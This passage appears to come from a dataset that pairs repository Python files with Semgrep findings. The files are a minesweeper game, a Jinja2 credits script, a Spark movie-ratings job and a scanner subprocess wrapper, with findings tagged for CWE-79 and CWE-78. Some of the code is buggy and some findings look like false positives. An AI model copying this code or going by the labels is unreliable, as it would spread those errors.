"cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 512, "col": 31, "offset": 14306}, "end": {"line": 512, "col": 46, "offset": 14321}, "extra": {"message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_0fc5d514", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant cell.is_opened() because cell.is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 520, "line_end": 520, "column_start": 12, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 520, "col": 12, "offset": 14513}, "end": {"line": 520, "col": 26, "offset": 14527}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant cell.is_opened() because cell.is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_9e47b482", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant cell.is_mine() because cell.is_mine is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 523, "line_end": 523, "column_start": 18, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 523, "col": 18, "offset": 14673}, "end": {"line": 523, "col": 30, "offset": 14685}, "extra": {"message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant cell.is_mine() because cell.is_mine is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_1c317d15", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 524, "line_end": 524, "column_start": 20, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 524, "col": 20, "offset": 14706}, "end": {"line": 524, "col": 35, "offset": 14721}, "extra": {"message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_587e7818", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 531, "line_end": 531, "column_start": 16, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 531, "col": 16, "offset": 15002}, "end": {"line": 531, "col": 31, "offset": 15017}, "extra": {"message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
24
true
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainabili...
[ "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "...
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 124, 125, 155, 210, 215, 235, 235, 238, 240, 279, 368, 375, 382, 392, 476, 477, 503, 509, 512, 512, 520, 523, 524, 531 ]
[ 124, 125, 155, 210, 215, 235, 235, 238, 240, 279, 368, 375, 382, 392, 476, 477, 503, 509, 512, 512, 520, 523, 524, 531 ]
[ 33, 31, 33, 31, 12, 12, 47, 9, 12, 12, 12, 20, 13, 17, 16, 13, 16, 12, 9, 31, 12, 18, 20, 16 ]
[ 48, 45, 45, 43, 26, 29, 61, 23, 24, 24, 31, 48, 51, 45, 43, 27, 43, 26, 24, 46, 26, 30, 35, 31 ]
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
[ "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant self.is_flagged() because self.is_flagged is always true.", "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "Is \"is_mine\" a fun...
[ 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5 ]
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
cheesweeper.py
/cheesweeper.py
Forst/cheesweeper
MIT
2024-11-18T18:16:00.896196+00:00
1,586,974,776,000
47b319fa4a07e0dad76820e360420cfbdcc7997b
3
{ "blob_id": "47b319fa4a07e0dad76820e360420cfbdcc7997b", "branch_name": "refs/heads/master", "committer_date": 1586974776000, "content_id": "52f4b1c998369de71a9d8a92e708d54f8849d700", "detected_licenses": [ "MIT" ], "directory_id": "72f1cb7b9aed9ab1e56265c845597f3340dcfe13", "extension": "py", "filename": "credits.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1172, "license": "MIT", "license_type": "permissive", "path": "/utils/credits.py", "provenance": "stack-edu-0054.json.gz:569085", "repo_name": "Tamjid2000/flagnet", "revision_date": 1586974776000, "revision_id": "744c539a5d1fd05324aa67aa67391e0423e15a27", "snapshot_id": "8d838c6c796e2fc50ed544ebf5428201f272b4f5", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/Tamjid2000/flagnet/744c539a5d1fd05324aa67aa67391e0423e15a27/utils/credits.py", "visit_date": "2023-03-08T22:58:32.930664" }
2.859375
stackv2
import glob import re import jinja2 import ruamel.yaml as yaml import config _CREDITS_TEMPLATE = """\ # {{country.flag}} Photo credits for flags of {{country.name}} ({{country.code}}) {% if photos is iterable -%} {% for photo in photos %} - `{{photo.filename}}` by {{photo.author}}, licensed under the {{photo.license}} license ([source]({{photo.url}})) {%- endfor %} {% else %} No photos added {% endif %} """ def _create_markdown_from_yaml(yaml_file_path: str): """ Creates photo credits file in Markdown from a YAML file, based on predefined template. :param yaml_file_path: a file path of a YAML file which is used as a data input source """ markdown_file_path = re.sub(r'\.ya?ml', '.md', yaml_file_path) with open(yaml_file_path) as yaml_file, open(markdown_file_path, 'w') as markdown_file: data = yaml.load(yaml_file, Loader=yaml.Loader) template = jinja2.Template(_CREDITS_TEMPLATE) markdown_file.write(template.render(data)) if __name__ == '__main__': for country_folder in glob.glob(f'{config.DATASET_FOLDER}/*/'): _create_markdown_from_yaml(f'{country_folder}credits.yml')
40
28.3
116
12
293
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_3087dcf1815ccec3_8e54d525", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 10, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/3087dcf1815ccec3.py", "start": {"line": 32, "col": 10, "offset": 764}, "end": {"line": 32, "col": 30, "offset": 784}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_3087dcf1815ccec3_eb820ab2", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 45, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/3087dcf1815ccec3.py", "start": {"line": 32, "col": 45, "offset": 799}, "end": {"line": 32, "col": 74, "offset": 828}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_3087dcf1815ccec3_f7c7fc8b", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 35, "column_start": 29, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/3087dcf1815ccec3.py", "start": {"line": 35, "col": 29, "offset": 985}, "end": {"line": 35, "col": 50, "offset": 1006}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-79" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 35 ]
[ 35 ]
[ 29 ]
[ 50 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
credits.py
/utils/credits.py
Tamjid2000/flagnet
MIT
2024-11-18T18:16:05.363280+00:00
1,544,201,063,000
94823027296f9e34a30dbb5078c9543ff6a29c19
3
{ "blob_id": "94823027296f9e34a30dbb5078c9543ff6a29c19", "branch_name": "refs/heads/master", "committer_date": 1544201063000, "content_id": "f8f9df58ad64f75dd464d460ff1233e212bf730c", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "d975823168d6ffad2e370e284140d23be375636c", "extension": "py", "filename": "Spark - Movies dataset.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1347, "license": "BSD-2-Clause", "license_type": "permissive", "path": "/Spark - Movies dataset.py", "provenance": "stack-edu-0054.json.gz:569109", "repo_name": "shirish510/Ultimate_hands_on_Hadoop_Big_Data", "revision_date": 1544201063000, "revision_id": "50f5ae76b772b3ed0aafee094ef42d56762f4de0", "snapshot_id": "8c7fd9b96d9d9851e380a66ec8abe549dc1d1caa", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/shirish510/Ultimate_hands_on_Hadoop_Big_Data/50f5ae76b772b3ed0aafee094ef42d56762f4de0/Spark - Movies dataset.py", "visit_date": "2020-03-27T18:09:32.746199" }
3.03125
stackv2
from pyspark import SparkConf, SparkContext def loadMovies(): movieNames = {} with open ("/ml-100k/u.item") as f: for line in f: fields = line.split('|') movieNames[int(fields[0])] = fields[1] return movieNames def parseInput(line): fields = line.split('\t') return (int(fields[1]), (float(fields[2]),1.0)) if __name__ == "__main__": # The main script - Create SparkContext conf = SparkConf().setappname("Worstmovies") sc = SparkContext(conf=conf) # Load up movienames based on movieID movieNames = loadMovies() # Laod up the raw DataFile u.data lines = sc.TextFile("hdfs:///user/maria_dev/ml-100k/u.data") # Convert to (movieID, (ratings, 1.0)) ratingsData = lines.map(parseInput) # Reduce to (movieID, (sum of ratings, total number of ratings)) ratingsTotalAndCount = ratingsData.reduceByKey(lambda movie1, movie2: (movie1[0]+movie2[0],movie1[1]+movie2[1])) # Reduce to (movieID, avg of ratings) ratingsAverage = ratingsTotalAndCount.mapValues(lambda totalcount: totalcount[0]/totalcount[1]) # Sort by average - x[1] - because the second column has average sortedMovies = ratingsAverage.sortBy(lambda x: x[1]) results = sortedMovies.take(10) for result in results: print movieNames[result[0]], results[1]
42
31.07
116
14
371
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f7a35a2e71699c1f_7ea639de", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 10, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f7a35a2e71699c1f.py", "start": {"line": 5, "col": 10, "offset": 92}, "end": {"line": 5, "col": 34, "offset": 116}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_f7a35a2e71699c1f_ba742c51", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 75, "column_end": 116, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/f7a35a2e71699c1f.py", "start": {"line": 31, "col": 75, "offset": 921}, "end": {"line": 31, "col": 116, "offset": 962}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_f7a35a2e71699c1f_9872dc5b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 72, "column_end": 99, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/f7a35a2e71699c1f.py", "start": {"line": 34, "col": 72, "offset": 1078}, "end": {"line": 34, "col": 99, "offset": 1105}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_f7a35a2e71699c1f_ad9a9a8c", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 52, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/f7a35a2e71699c1f.py", "start": {"line": 37, "col": 52, "offset": 1228}, "end": {"line": 37, "col": 56, "offset": 1232}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "", "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 31, 34, 37 ]
[ 31, 34, 37 ]
[ 75, 72, 52 ]
[ 116, 99, 56 ]
[ "", "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function" ]
[ 5, 5, 5 ]
[ "", "", "" ]
[ "", "", "" ]
Spark - Movies dataset.py
/Spark - Movies dataset.py
shirish510/Ultimate_hands_on_Hadoop_Big_Data
BSD-2-Clause
2024-11-18T18:16:05.673901+00:00
1,618,560,685,000
1fe328c13ac559c8ce9f07013ff869c27e88622a
3
{ "blob_id": "1fe328c13ac559c8ce9f07013ff869c27e88622a", "branch_name": "refs/heads/master", "committer_date": 1618560685000, "content_id": "719959cbcc6b0560557eef2fa80b86d177fb9204", "detected_licenses": [ "MIT" ], "directory_id": "f634ad99439c856eab934cdd3085d9e3f8e8e899", "extension": "py", "filename": "Scanner.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 380752796, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 678, "license": "MIT", "license_type": "permissive", "path": "/src/Scanner.py", "provenance": "stack-edu-0054.json.gz:569111", "repo_name": "saifkhichi96/authentica-desktop", "revision_date": 1618560685000, "revision_id": "a78ea0bfbdb3050e834087abb7ca5c99736f1cc6", "snapshot_id": "d84e75030b66877bebba082092eaf02e43dd8da3", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/saifkhichi96/authentica-desktop/a78ea0bfbdb3050e834087abb7ca5c99736f1cc6/src/Scanner.py", "visit_date": "2023-07-17T11:54:51.276529" }
3.125
stackv2
import subprocess def scan_image(outfile): """Gets an image from a connected scanning device and saves it as a TIF file at specified location. Throws a IOError if there is an error reading from the scanning device. Parameters: outfile (str): Path where scanned image should be saved. """ try: cmd = 'scanimage --resolution 10 --mode Gray --format tiff > \'{outfile}.tif\'' process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE) output, error = process.communicate() return f'{outfile}.tif' except: if error is None: error = 'Failed to scan image' raise IOError(error)
22
29.82
87
12
146
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_e5c80b6e4aec74c3_dd64893e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 19, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/e5c80b6e4aec74c3.py", "start": {"line": 15, "col": 19, "offset": 435}, "end": {"line": 15, "col": 72, "offset": 488}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 15 ]
[ 15 ]
[ 19 ]
[ 72 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
Scanner.py
/src/Scanner.py
saifkhichi96/authentica-desktop
MIT
2024-11-18T18:16:09.475455+00:00
1,582,582,586,000
5d738ea16244c261aeb74fd7f9c64fc6a7106ce7
3
{ "blob_id": "5d738ea16244c261aeb74fd7f9c64fc6a7106ce7", "branch_name": "refs/heads/master", "committer_date": 1582582586000, "content_id": "d6f81394ae2f31f7c4ee80a70dc1cc001c257ed4", "detected_licenses": [ "MIT" ], "directory_id": "159696b427e9fd7120fb621e8393d32226c7e754", "extension": "py", "filename": "linalg.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2254, "license": "MIT", "license_type": "permissive", "path": "/lib/linalg.py", "provenance": "stack-edu-0054.json.gz:569125", "repo_name": "lilujunai/GAN-optimization-landscape", "revision_date": 1582582586000, "revision_id": "ea94b4e241eebf93ba9ca9426ce451f6e2d4b9a3", "snapshot_id": "a7046ae949b189ffa7a240ab34f19422f2424f64", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/lilujunai/GAN-optimization-landscape/ea94b4e241eebf93ba9ca9426ce451f6e2d4b9a3/lib/linalg.py", "visit_date": "2021-02-18T02:20:36.184051" }
2.640625
stackv2
